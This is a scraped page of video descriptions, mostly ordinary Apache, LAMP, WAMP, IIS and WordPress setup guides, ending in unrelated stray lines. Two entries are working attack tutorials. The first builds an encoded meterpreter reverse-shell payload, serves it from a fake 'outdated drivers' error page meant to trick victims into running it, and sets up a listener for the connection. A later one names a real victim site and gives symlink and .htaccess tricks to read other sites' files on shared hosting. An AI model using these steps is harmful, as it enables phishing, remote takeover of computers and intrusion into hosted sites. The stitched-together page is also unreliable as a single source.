In this tutorial I will briefly be going over the installation of apache2, the creation of a fake webbpage including a generated payload. Also I will show how to setup a listener using armitage (to handle the connection from the payload). For the sake of simplifying things, firewall and windows defender have been turned off. Disclaimer: Everything taught in this video is solely meant for educational purposes, I will not be held responsible for misuse. # Commands used in this video were executed as the root user, and are stated below! # (Every now and then the clear command is used to clear up the terminal to make it look more clean and neat :) ) apt update apt upgrade (If you don't use Kali Linux) apt install apache2 To test apache2 (and to start apache2): service apache2 start After starting apache2, navigate to (localhost) on your webbrowser. msfvenom -l (to figure out which payload you would like to use) msfvenom --payload-options -p windows/meterpreter/reverse_tcp (to view the exact options of a payload) msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -f exe -o [whateveryouwanttocallyourvirus] LHOST=[yourIPadress] LPORT=[desiredport] rm /var/www/html/* Copy the payload to your webserver: mv ~/virus.exe /var/www/html My HTML file used in the video, requires payload to be in the same directory as this index.html file: REPLACE EVERY "[" or "]" WITH BRACKETS (LIKE IN THE VIDEO), OTHERWISE WONT WORK. [html] [head] [title]Error 405: Unable to...[/title] [/head] [body] [h1]Error 405: Unable to browse the web.[/h1] [hr] [h3]Your drivers seem to be outdated and are not secure anymore. To resolve this issue and access the internet again you need to update your drivers.[/h3] [br] [h3]Click [a href=virus.exe]here[/a] to download and install the required drivers.[/h3] [/body] [/html] If you have a different name for your payload, replace the href in h3 to your filename. service apache2 restart In armitage, to setup the connection, enter the following commands: use multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST [yourIPadress] set LPORT [yourdesiredport] set RHOST [targetsIPadress] (find out targets IP using for example nmap) exploit After this is done, the target must open the payload so you gain access.
Views: 651 Spl1nt3rf4ll
Instalar LAMP en Slackware 14.2 - Parte I: Apache.
Buenas noches vengo de nuevo pero ahora con un tutorial de como instalar LAMP en nuestro slackware 14.2. Explicaré el paso a paso de la instalación y configuración básica de LAMP en nuestra distribución. Comencemos! ¿Qué es LAMP? LAMP es el acrónimo usado para describir un sistema de infraestructura de internet que usa las siguientes herramientas: Linux, el sistema operativo; En algunos casos también se refiere a LDAP. Apache, el servidor web; MySQL/MariaDB, el gestor de bases de datos; Perl, PHP, o Python, los lenguajes de programación. La combinación de estas tecnologías es usada principalmente para definir la infraestructura de un servidor web, utilizando un paradigma de programación para el desarrollo. Fragmento extraído de Wiki: https://es.wikipedia.org/wiki/LAMP ¿Qué necesitamos? Para comenzar vamos a tener que tener listos los paquetes para instalar .tgz que serían los siguientes: Apache MySQL (mariadb) PHP A éstos lo que haremos tan simple como usar la herramienta slackpkg de ésta manera: slackpkg install httpd 1 - La ubicación del archivo de configuración del servidor Apache se encuentra en: /etc/httpd/. Con el nombre de httpd.conf. - Podemos utilizar el editor de texto favorito (en mi caso como siempre trabajo desde la tty, usaré nano). Recuerden que todo ésto lo haremos como root. # nano /etc/httpd/httpd.conf - Aquí nos encontraremos con toda la configuración principal de nuestro servidor Apache y veremos secciones como éstas: Directory / Options FollowSymLinks AllowOverride None Order deny,allow Deny from all /Directory y también Directory "/srv/httpd/htdocs" Options Indexes FollowSymLinks AllowOverride None Order allow,deny Allow from all - Bueno en el caso que hayamos realizado algún cambio en ésta configuración (default) lo que ahremos será guardar los cambios y salir para ejecutar la siguiente orden: # apachectl -t Si todo salió bién tendremos un mensaje parecido a: Syntax OK. - Para iniciar nuestro server lo que ejecutaremos será lo siguiente: - Primero le damos los permisos: # chmod 0744 /etc/rc.d/rc.httpd - Luego será iniciar el server: # /etc/rc.d/rc.httpd start - Si queremos también editamos el index.html, lo editamos con nano en la ruta: /srv/httpd/htdocs/ # nano /srv/httpd/htdocs/index.html Guardamos los cambios y salimos. - Listo, cruzamos los dedos para que no salga ningún mensaje de error y terminamos, tenemos nuestro servidor Apache iniciado y corriendo. Podemos comprobar que funciona correctamente ingresando a nuestro localhost o nuestra IP privada con un navegador links http://localhost o Nota: Próximamente continuaremos con las partes correspondientes a mariadb y php. ▶ Si se quieren unir a nuestro grupo de LinuxerOS en Telegram lo pueden hacer también: http://adf.ly/1clSoM ▶ Si sos fan de Archlinux entrá en el grupo de Telegram: http://adf.ly/1clT22 ▶ Si sos del mundo Gentoo en Telegram: http://adf.ly/1cxFeu ▶ Tienen otros tutoriales y demás info en mi blog de LinuxForAllSite: http://adf.ly/1gpiOj ▶ Mi canal: http://adf.ly/1clT7Y ▶ Recuerden darle like y suscribirse a mi canal ▶ Compartan el material en las redes sociales así sigo creciendo! Abrazo de gol!
Views: 317 ice
Config Wamp server to run python cgi apache cgi-bin PHP
How to set up wamp to use Python CGI programming and php on your own computer. SQL works also. Only tested on windows.All programs can be run through localhost in browser and files stored in www directory in wamp. Wamp Version 2.4 Python.3.5.0 Link to Python https://www.python.org/downloads/release/python-350/ Link to Wamp http://sourceforge.net/projects/wampserver/files/WampServer%202/Wampserver%202.4/ Has to be Python 3.5.0 and wamp 2.4 to work !!! add these lines to httpd.conf after directory "c like the video. ------------------------------------------------------------------- AddHandler cgi-script .cgi .py Options Indexes FollowSymLinks ExecCGI -------------------------------------------------------------------- Make sure to save Python as C:\Python35 using custom installation.First line of your program must direct to where python.exe is installed.You must use parenthesis with print. Link to My httpd.conf file and test programs https://www.dropbox.com/s/5nyqzdnyjznqo3k/hello.php?dl=0 https://www.dropbox.com/s/anfjevfbxd4v6xq/httpd.conf?dl=0 https://www.dropbox.com/s/8kns13x4326kmxl/new.py?dl=0
Views: 2942 Jason Cheung
Linux cp25.markum.net Bypassed ! BigHatz.info
linux server bypassed .htaccess tools = Options All Options +Indexes DirectoryIndex Sux.html AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html
Views: 277 Mister Regue
How to install LAMP (Apache, Mysql, PHP, PhpMyAdmin) on Ubuntu, LinuxMint, ElementaryOS
How to install LAMP (Linux, Apache, MySQL, PHP/Perl/Python) on Ubuntu, LinuxMint, ElementaryOS: 1. Open terminal: Ctrl + Shift + T 2. Run this command: sudo apt-get install apache2 php5 libapache2-mod-php5 mysql-server-5.6 mysql-client-5.6 php5-curl php5-mcrypt php5-gd phpmyadmin 3. now, open browser and go to link http://localhost 4. Create info.php in /var/www with content ?php phpinfo(); Navigate browser to http://localhost/info.php 5. Config Apache - Change Document directory to /home/username/www: - mkdir /home/username/www - sudo gedit /etc/apache2/apache2.conf - change Directory /var/www to Directory /home/username/www - change AllowOverride None to AllowOverride All - open file /etc/apache2/sites-enabled/000-default.conf - change DocumentRoot /var/www to DocumentRoot /home/username/www - restart apache: sudo service apache2 restart - go to /home/username/www and create index.php with content: ?php phpinfo(); - navigate to http://localhost 6. Fix error on restart apache: AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using Set the 'ServerName' directive globally to suppress this message sudo gedit /etc/apache2/apache2.conf add this line to end of file: ServerName localhost restart apache → Done 7. Enable module mcrypt and rewrite sudo ln -s /etc/php5/conf.d/mcrypt.ini /etc/php5/mods-available sudo php5enmod mcrypt && sudo a2enmod rewrite
Views: 9068 Nho Huynh
How To Install Linux, Apache, MySQL, PHP LAMP stack on Ubuntu 16 04 And Ubuntu 16 10 - SPUZE
Introduction A "LAMP" stack is a group of open source software that is typically installed together to enable a server to host dynamic websites and web apps. This term is actually an acronym which represents the Linux operating system, with the Apache web server. The site data is stored in a MySQL database, and dynamic content is processed by PHP. In this guide, we'll get a LAMP stack installed on an Ubuntu 16.04 Droplet. Ubuntu will fulfill our first requirement: a Linux operating system. Step 1: Install Apache and Allow in Firewall #sudo apt-get update #sudo apt-get install apache2 Set Global ServerName to Suppress Syntax Warnings Next, we will add a single line to the /etc/apache2/apache2.conf file to suppress a warning message. While harmless, if you do not set ServerName globally, you will receive the following warning when checking your Apache configuration for syntax errors: Open up the main configuration file with your text edit: #sudo nano /etc/apache2/apache2.conf Adjust the Firewall to Allow Web Traffic Next, assuming that you have followed the initial server setup instructions to enable the UFW firewall, make sure that your firewall allows HTTP and HTTPS traffic. You can make sure that UFW has an application profile for Apache like so: #sudo ufw app list If you look at the Apache Full profile, it should show that it enables traffic to ports 80 and 443: #sudo ufw app info "Apache Full" Step 2: Install MySQL Now that we have our web server up and running, it is time to install MySQL. MySQL is a database management system. Basically, it will organize and provide access to databases where our site can store information. #sudo apt-get install mysql-server When the installation is complete, we want to run a simple security script that will remove some dangerous defaults and lock down access to our database system a little bit. Start the interactive script by running: Warning: Enabling this feature is something of a judgment call. If enabled, passwords which don't match the specified criteria will be rejected by MySQL with an error. This will cause issues if you use a weak password in conjunction with software which automatically configures MySQL user credentials, such as the Ubuntu packages for phpMyAdmin. It is safe to leave validation disabled, but you should always use strong, unique passwords for database credentials. #sudo mysql_secure_installation Step 3: Install PHP PHP is the component of our setup that will process code to display dynamic content. It can run scripts, connect to our MySQL databases to get information, and hand the processed content over to our web server to display. #sudo apt-get install php libapache2-mod-php php-mcrypt php-mysql This should install PHP without any problems. We'll test this in a moment. In most cases, we'll want to modify the way that Apache serves files when a directory is requested. Currently, if a user requests a directory from the server, Apache will first look for a file called index.html. We want to tell our web server to prefer PHP files, so we'll make Apache look for an index.php file first. To do this, type this command to open the dir.conf file in a text editor with root privileges: #sudo nano /etc/apache2/mods-enabled/dir.conf After this, we need to restart the Apache web server in order for our changes to be recognized. You can do this by typing this: #systemctl restart apache2 Install PHP Modules To enhance the functionality of PHP, we can optionally install some additional modules. To see the available options for PHP modules and libraries, you can pipe the results of apt-cache search into less, a pager which lets you scroll through the output of other commands: #apt-cache search php- | less Use the arrow keys to scroll up and down, and q to quit. For example, to find out what the php-cli module does, we could type this: apt-cache show php-cli If, after researching, you decide you would like to install a package, you can do so by using the apt-get install command like we have been doing for our other software. If we decided that php-cli is something that we need, we could type: # sudo apt-get install php-cli Step 4: Test PHP Processing on your Web Server n order to test that our system is configured properly for PHP, we can create a very basic PHP script. We will call this script info.php. In order for Apache to find the file and serve it correctly, it must be saved to a very specific directory, which is called the "web root". In Ubuntu 14.04, this directory is located at /var/www/html/. We can create the file at that location by typing: sudo nano /var/www/html/info.php This will open a blank file. We want to put the following text, which is valid PHP code, inside the file.
Views: 302 OnBell Corporation
How to block access to the wp-content uploads folder
How to block access to the wp-content uploads folder Follow me on other media: ►Website: http://www.guidoshowtos.com ►Facebook: https://www.facebook.com/guidoshowtos ►Twitter: https://twitter.com/guidoshowtos ►Google+: https://plus.google.com/+Guidoshowtos Full instructions: By default, everyone is able to access and browse through your wp-content folder by adding ‘wp-content/uploads’ to your domain name. This means they’ll be able to see all ‘Media’ files you have uploaded to WordPress. In a lot of cases, you don’t want this to happen, as some files aren’t supposed to be accessible to everyone. For instance, you might have an ebook uploaded, that you only want to give away to people that subscribe to your email list. You can block access to these folders by editing the .htaccess file. for your site. This file is located in the root directory of your WordPress website. There are multiple ways to access and edit the .htaccess file. In this video, I'm using the cPanel file manager. If you’re using cPanel, click ‘File Manager’, then select the site you want to do this for. Make sure you have ‘Show Hidden Files (dotfiles).’ Selected! If you don’t, you wont be able to to see your htaccess file. Click ‘Go’ to go to the root directory of your site. In File Manager, select your .htaccess file, then right-click, and click ‘Code Edit’. Click ‘Edit’. On a blank line add the following code: "Options -Indexes" Then click ‘Save’, to save the .htaccess file. Once the file is saved, you can close the editor and File Manager. As you can see, visiting any part of your WP-content directory now gives the "Error - 403 Forbidden". Done! Access to media files inside these directories, is, of course, still possible if you have the full URL to a file.
Views: 7114 Guido's How-to's
Deploy angular app to IIS
In this video we will discuss deploying angular application to IIS. Here are the steps Step 1 : Build your angular application. If you want to deploy a development build do a development build using the following Angular CLI command. The base-href option on the build command sets the base-href element in index.html to "/ePortal/" instaed of "/". In the IIS server, we will create an application with name "ePortal" in just a bit. ng build --base-href /ePortal/ If you want to deploy a production build do a production build using the following Angular CLI command. ng build --prod --base-href /ePortal/ In our case let's deploy a production build. After the build is complete, you will notice a folder with name "dist" in your Angular project folder. This folder contains all the build files. These build files need to be copied to a folder on the server where we have IIS installed. Step 2 : Create a folder on the server where you have IIS installed. You can name the folder anything you want. I am going to name the folder "ProductionBuild" and I am creating it in C:\ drive. Step 3 : Now copy all the contents of the "dist" folder into "ProductionBuild" folder Step 4 : Open IIS. There are several ways to do this. One way is to type "inetmgr" in the "Run" window and click "OK" Step 5 : Create an application in IIS. Name it "ePortal". This name has to match the value we have specified for the --base-href option in Step 1. a) Exapand the root IIS node b) Expand Sites c) Right click on "Default Web Site" and select "Add Application" from the context menu d) In the "Alias" textbox, type "ePortal" e) Set the "Physical Path" to folder that contains the build files. In our case it is "ProductionBuild" folder in C:\ drive At this point, if you launch the browser and navigate to http://localhost/ePortal/home, you will see the "home works" message as expected. When you click on the "Employees" tab it also works as expected. However, when you "Refresh" the page by pressing F5, you will see HTTP 404 error Step 6 : To fix this Page Refresh issue in Angular, include the following URL rewrite rule in you web.config file. This web.config file should be in copied the "ProductionBuild" folder where we have the rest of the build files. Please replace [ with LESS_THAN symbol and ] with GREATER_THAN symbol. [?xml version="1.0" encoding="utf-8"?] [configuration] [system.webServer] [rewrite] [rules] [rule name="AngularJS Routes" stopProcessing="true"] [match url=".*" /] [conditions logicalGrouping="MatchAll"] [add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" /] [add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" /] [add input="{REQUEST_URI}" pattern="^/(api)" negate="true" /] [/conditions] [action type="Rewrite" url="/ePortal" /] [/rule] [/rules] [/rewrite] [/system.webServer] [/configuration] Please note : You may also point the IIS application directly to the "dist" folder in RoutingDemo project folder. The downside of this is every time you rebuild your application, the "dist" folder is deleted and recreated. This means you will loose the web.config file and you have to create it again. Text version of the video http://csharp-video-tutorials.blogspot.com/2017/11/deploy-angular-app-to-iis.html Slides http://csharp-video-tutorials.blogspot.com/2017/11/deploy-angular-app-to-iis-slides.html Angular CLI Tutorial https://www.youtube.com/watch?v=rJ9o4TyhSuo&list=PL6n9fhu94yhWUcq5Pc16uf8YKXoZ87Vh_ Angular CLI Text articles & Slides http://csharp-video-tutorials.blogspot.com/2017/10/angular-cli-tutorial-for-beginners.html All Dot Net and SQL Server Tutorials in English https://www.youtube.com/user/kudvenkat/playlists?view=1&sort=dd All Dot Net and SQL Server Tutorials in Arabic https://www.youtube.com/c/KudvenkatArabic/playlists
Views: 33067 kudvenkat
Installation of SUSE 11 SP3 for HDP 2.5 Installation part 1
In this Tutorial you will learn to install cloneable installation of SUSE 11 and then installing hdp2.5 on it. Please follow below steps while watching session. ============================================== ## in this tutorial you will understand how we can setup hdp2.5 on SUSE 11 SP 30 ## download link for suse 11 sp3, you need to create a login and then download the iso. https://www.suse.com/eval/download/?event_id=SGDGNTD18126&event_name=Eval:+SLE+Point+of+Service&icid=SGDGNTD18520&icname=Eval:+SLE+Point+of+Service+Nurture&build=npw9bCLK9DI~&login_required=1 ## Download ambari 2.4 repo for suse 11 http://public-repo-1.hortonworks.com/ambari/suse11/2.x/updates/ ## download link for hdp2.5 and HDP utils tar.gz http://public-repo-1.hortonworks.com/HDP/suse11sp3/2.x/updates/ http://public-repo-1.hortonworks.com/HDP-UTILS- ###suse installatoion setup networs cd /etc/sysconfig/network vi ifcfg-eth0 (no change required) vi ifcfg-eth1 BOOTPROTO='static' ONBOOT='yes' IPADDR='' NETMASK='' ### make the firewall off so that putty can connect run yast2 #and search for firewall and make it off and disable it for all times #then search for ntp and then make it on "now and boot" ============================ ##install the apache2 httpd service from yast2 ## cd /etc/apache2/ ## vi /etc/apache2/httpd.conf ## change as below # forbid access to the entire filesystem by default Directory / Options +FollowSymLinks AllowOverride None Order allow,deny allow from all /Directory # use .htaccess files for overriding, AccessFileName .htaccess # and never show them Files ~ "^\.ht" Order allow,deny allow from all /Files # List of resources to look for when the client requests a directory #DirectoryIndex index.html index.html.var ======================= ## change the below file from Options None to Options +FollowSymLinks ## vi default-server.conf Options +FollowSymLinks ========================================= ## restart the apache2 sudo service apache2 restart ## Zypper refresh zypper refresh ######################### ##setup ambari master2:/srv/www/htdocs/repo/ambari- # vi setup_repo.sh master2:/srv/www/htdocs/repo/ambari- # sh setup_repo.sh [WARNING] FollowSymLinks has not been enabled in the /etc/apache2/default-server.conf. Please enable FollowSymLinks and restart Apache/HTTPD Server before accessing the repository. AMBARI- Repo file successfully created at /etc/zypp/repos.d/ambari.repo. Use http://master2.cluster.com/AMBARI- to access the repository. ## Zypper refresh zypper refresh ============================================= ##set up the hdp.repo in zypp/repos cd /etc/zypp/repos.d cp /srv/www/htdocs/repo/HDP- /etc/zypp/repos.d/ ## Zypper refresh zypper refresh =============================== ##password less ssh ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Created directory '/root/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: ff:61:e2:c0:12:91:60:30:5b:5c:a6:87:82:7a:14:bc [MD5] [email protected] The key's randomart image is: +--[ RSA 2048]----+ | .+o+.o | | ..*.= . | |. +.o + | |..E. . . | |. . . S | | . o . | | . o o o | | . o + . | | . . | +--[MD5]----------+ ##copy id_rsa ssh-copy-id -i ~/.ssh/id_rsa.pub master2 The authenticity of host 'master2 (' can't be established. ECDSA key fingerprint is 3e:09:6a:0b:2d:7b:b4:b1:ad:3d:70:5b:c7:8e:5f:f4 [MD5]. Are you sure you want to continue connecting (yes/no)? yes /usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed /usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys Password: Number of key(s) added: 1 Now try logging into the machine, with: "ssh 'master2'" and check to make sure that only the key(s) you wanted were added. master2:~ # ssh master2 Last login: Thu Feb 8 20:33:11 2018 from master2:~ # exit =================================================================== sudo zypper install ambari-server service ambari-server setup
Views: 80 BiteBigData
Symlink ByPass 403 Forbidden
Shell:https://www.sendspace.com/file/r2gd6l //////////////////////////REVESE IP///////////////////////// http://www.yougetsignal.com/tools/web-sites-on-web-server/ ///////////////////////MY VICTIM///////////////////////////// http://www.vnnation.com/ //////////////////////GET PATH BY ERROR LOG //////////////////// tail -n 1000 /usr/local/apache/logs/error_log|grep 123456789 path is : /home/vnnation/public_html/ /////////////////////////SYM LINK THE TARGET /////////////////// ln -s /home/vnnation/public_html/index.htm index.txt - 403 forbidden ////////////// NOW BYPASS 403 forbidden ///////////////////////// 1. symlink / folder ln -s / r00t 2.upload .htaccess file Options all DirectoryIndex Sux.html AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html AddHandler txt .html Require None Satisfy Any
Views: 1355 CyberHack Al
Site.com/username | Rewrite URL with htaccess
[+]site.com/user/profile.php?id=user will be site.com/user rewrite url htaccess rewrite url htaccess php rewrite url htaccess generator rewrite url htaccess examples rewrite url htaccess wordpress rewrite url htaccess stackoverflow rewrite url htaccess codeigniter rewrite url htaccess online rewrite url htaccess php parameters rewrite url htaccess tutorial rewrite url htaccess https rewriterule htaccess apache rewrite url htaccess apache url rewrite .htaccess asp.net .htaccess rewrite url add www htaccess rewrite url alias angularjs rewrite url htaccess htaccess rewrite url to another htaccess rewrite url to another domain .htaccess rewrite url with anchor allow url rewrite htaccess rewrite the url htaccess rewrite url by .htaccess rewrite base url htaccess htaccess rewrite url in address bar htaccess rewriterule builder htaccess rewriterule base htaccess rewriterule cgi-bin rewriterule htaccess beispiel htaccess rewriterule block rewriterule htaccess codeigniter rewriterule htaccess como usar rewriterule htaccess clean url url rewrite code htaccess rewrite url using .htaccess in codeigniter htaccess rewrite url contains htaccess rewrite url css htaccess rewrite url case insensitive htaccess rewrite url condition rewriterule htaccess directory htaccess rewriterule doesn't work rewriterule htaccess domain rewrite dynamic url htaccess htaccess rewrite url directory htaccess rewrite url different domain drupal rewrite url htaccess htaccess rewrite url domain name htaccess rewrite url domain htaccess rewrite url remove directory php rewrite url htaccess example url rewriting using htaccess example htaccess rewrite url exception htaccess rewrite url extension htaccess rewrite url encode htaccess rewrite url without extension htaccess url rewrite exclude directory .htaccess url rewrite remove extension htaccess enable url rewrite htaccess rewriterule e rewriterule htaccess folder rewriterule htaccess file rewriterule htaccess flags rewriterule ^.htaccess$ - f rewrite url folder htaccess rewriting url with .htaccess file rewrite url in php htaccess file htaccess rewrite url friendly htaccess rewrite url for wordpress how to rewrite url using .htaccess file in php htaccess rewriterule f htaccess rewriterule f l htaccess rewrite url get parameters htaccess rewrite url get variables rewrite get url htaccess .htaccess url rewrite godaddy online .htaccess url rewrite generator rewriterule htaccess https rewrite url htaccess html rewriterule htaccess html how to rewrite url htaccess htaccess url rewrite hide .php htaccess url rewrite html to php htaccess rewrite url with hash htaccess url rewrite remove html huong dan rewrite url htaccess rewriterule htaccess index.php rewrite url htaccess in wordpress rewrite url htaccess in php rewriterule htaccess index rewrite url in htaccess url rewrite in htaccess + examples url rewrite iis htaccess url rewrite in .htaccess is not working url rewriterule htaccess rewrite url htaccess joomla joomla htaccess rewriterule htaccess rewriterule js htaccess rewriterule jpg htaccess rewriterule kullanımı htaccess rewriterule keep url rewriterule htaccess l rewriterule htaccess là gì rewriterule htaccess localhost rewrite url htaccess localhost rewrite url lowercase htaccess htaccess rewrite url laravel htaccess url rewrite language htaccess rewriterule ^index .php$ - l htaccess rewriterule r=301 l htaccess rewriterule l flag htaccess rewriterule l htaccess rewriterule qsa l htaccess rewriterule l nc htaccess rewriterule r l url rewrite magento htaccess htaccess rewrite url masking htaccess rewrite url mvc htaccess url rewrite multiple parameters htaccess url rewrite multiple variables url mod_rewrite htaccess htaccess multiple url rewrite .htaccess url rewrite redirects mobile magento 2 url rewrite htaccess htaccess multiple rewriterule rewriterule htaccess not working rewriterule htaccess nginx rewriterule htaccess nc rewriterule htaccess not found rewrite url htaccess not working url rewrite htaccess nginx rewrite url name htaccess .htaccess url rewrite not working on server htaccess url rewrite non www to www rewriterule htaccess options
Views: 17531 SourceCode Powered
Apache Solr Tutorial - Create, Rename and Delete Core in Solr - Part 1
In this the first part of video tutorial, I will show you how you can create new core i.e. a single index, rename and delete existing core using Solr script file which you can find inside /your_installation_directory/solr/bin directory as well as using solr admin UI interface. Part 2 of this Video: https://www.youtube.com/watch?v=jNzcnQMsyK8
Views: 3503 KnowledgeThirst
Searches might be slow in non indexed locations HOW TO FIX
Change advanced indexing options Improve Windows searches using the index hi I’m sami from fawzi academy Sometimes while you perform searches in your computer you will get this message Searches might be slow in non-indexed locations Windows uses the index to perform very fast searches of the most common files on your computer By default, all of the most common files on your computer are indexed. Indexed locations include all folders included in libraries, e mail, and offline files. Files that aren't indexed include program files and system files—files that most people rarely need to search. However, if the index can't find a file that you know exists in an indexed location, you might need to rebuild the index. Rebuilding the index can take several hours, and searches might be incomplete until the index is fully rebuilt. To rebuild the index 1. Open Indexing Options by clicking the Start button, and then clicking Control Panel. In the search box, type indexing options, and then click Indexing Options. 2. Click Advanced. If you're prompted for an administrator password or confirmation, type the password or provide confirmation. 3. In the Advanced Options dialog box, click the Index Settings tab, and then click Rebuild. Hope this information is helpful. Thank you for watching fawzi academy please like subscribe and share this video your searches might be slow because the index is not running 2012 your searches might be slow because the index CLICK HERE for more TUTORIAL from Fawzi Academy http://www.youtube.com/user/FawziAcademyTube Click here to SUBSCRIBE! http://www.youtube.com/user/FAWZIACADEMYTUBE?sub_confirmation=1 Click here for FAWZIACADMY WEBSITE! http://www.fawziacademy.com
Views: 2469 Fawzi Academy
How to set up a Wordpress website with XAMPP on Windows 10
This video will show how to set up a local Wordpress website on Windows 10 using XAMPP. XAMPP is a free software that includes many important options for hosting a website, including Apache and MySQL (now MariaDB). It can be downloaded from: https://www.apachefriends.org/index.html After downloading, just run the installer and make sure to leave the Apache, MySQL, PHP, Perl, and phpmyadmin options selected, and then leave everything else as default. You may want to change the default installation path from C: xampp to something else, but it is suggested that you avoid installing to the program files folder to avoid UAC (User Account Control) triggers. Once it's installed, open the control panel and start the Apache and MySQL services. You can now see an active webserver at localhost, or the IP Address (local IP Address). Now you will need to download Wordpress itself. You can download a zip of the newest version at: http://www.wordpress.org Once it is downloaded, right click and extract all. Then copy the Wordpress folder, and paste into the XAMPP installation, in the htdocs folder. This folder is what is served up to the web browser. So by default it brings you to the dashboard folder. To access Wordpress after you paste it into the folder, in your web browser go to http://localhost/wordpress Feel free to change the name of the wordpress folder to access it at a different address. Now it will ask for a database, database username, and database password. This is something you will need to create in phpmyadmin. To do this, head to http://localhost/phpmyadmin Once here, click on the new option on the left to create a new database. Give it a relevant name, something different preferably than just wordpress. Then choose the Collation, which is utf8_general_ci After the database is created, click on it on the left and choose the privileges tab. Here you can create a user that has privileges to add data to the database, which is how Wordpress will access the database and store data. Again it is recommended to choose a relevant username here, and a strong password. The hostname should also be changed to localhost, as this is a local install. Then hit the go button at the bottom. If you get an error stating Show Plugins soname like '%_password_check%' then it's easy to fix. Just go to your xampp folder, and then the mysql folder inside. Here, right click and create a new folder, and name it lib. Then go in the newly created lib folder and create another folder, called plugin. You should now be able to create a new user just fine. Once the user is created, go to http://localhost/wordpress and input the new database you created, and the user info. The next information Wordpress will ask for is the site title, and a user to login to Wordpress. I would suggest something different than just administrator, and to use a strong password. At this point your wordpress installation is ready to use. Check out my facebook at: https://www.facebook.com/pages/All-How-2s/198429346974010 or my twitter: https://twitter.com/AllHow2s Or my website where I have a lot of other great tutorials (such as how to take a screenshot, or how to get the start button back on Windows 8): http://www.allhow2s.com
Views: 45420 howtwos101
Using WAMP server to run cgi python , cgi-bin , PHP , apache , scripts
Check my updated video on this. How to set up wamp to use Python CGI programming and php on your own computer. SQL works also. Only tested on windows.All programs can be run through localhost in browser and files stored in www directory in wamp. Wamp Version 2.4 Python.3.5.0 Link to Python https://www.python.org/downloads/release/python-350/ Link to Wamp http://sourceforge.net/projects/wampserver/files/WampServer%202/Wampserver%202.4/ Has to be Python 3.5.0 and wamp 2.4 to work !!! add these lines to httpd.conf after directory "c like the video. ------------------------------------------------------------------- AddHandler cgi-script .cgi .py Options Indexes FollowSymLinks ExecCGI -------------------------------------------------------------------- Make sure to save Python as C:\Python35 using custom installation.First line of your program must direct to where python.exe is installed.You must use parenthesis with print. Link to My httpd.conf file and test programs https://www.dropbox.com/s/5nyqzdnyjznqo3k/hello.php?dl=0 https://www.dropbox.com/s/xhmh2mwhdrje904/httpd.conf?dl=0 https://www.dropbox.com/s/8kns13x4326kmxl/new.py?dl=0
Views: 14770 Jason Cheung

Cover letter for demotion
Iti mallepally hyderabad admissions essay
Polizeiwissenschaft newsletter formats
Mcdonald's jobs applications
Theoreme milliman application letters